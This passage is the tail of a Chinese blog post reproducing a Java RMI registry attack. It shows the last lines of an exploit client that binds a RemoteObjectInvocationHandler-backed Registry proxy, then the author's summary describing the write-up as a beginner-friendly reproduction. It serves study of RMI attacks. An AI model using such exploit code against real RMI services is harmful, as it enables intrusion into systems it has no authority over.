        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
        Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
                Registry.class
        }, obj);
        reg.bind("Hello",proxy);
    }
}

復現效果如下:

image-20241125212823569

總結

我是看了好多師傅的分析文章才對RMI有了一定的瞭解,這篇部落格就是記錄一下對應的內容,然後儘量把攻擊復現寫的詳細一些,這樣的話比較適合小白入手,有些師傅可能預設讀者有這個基礎,所以很多時候程式碼就一筆帶過了,hhhhhh~

強烈推薦:T師傅的先知社群部落格

相關文章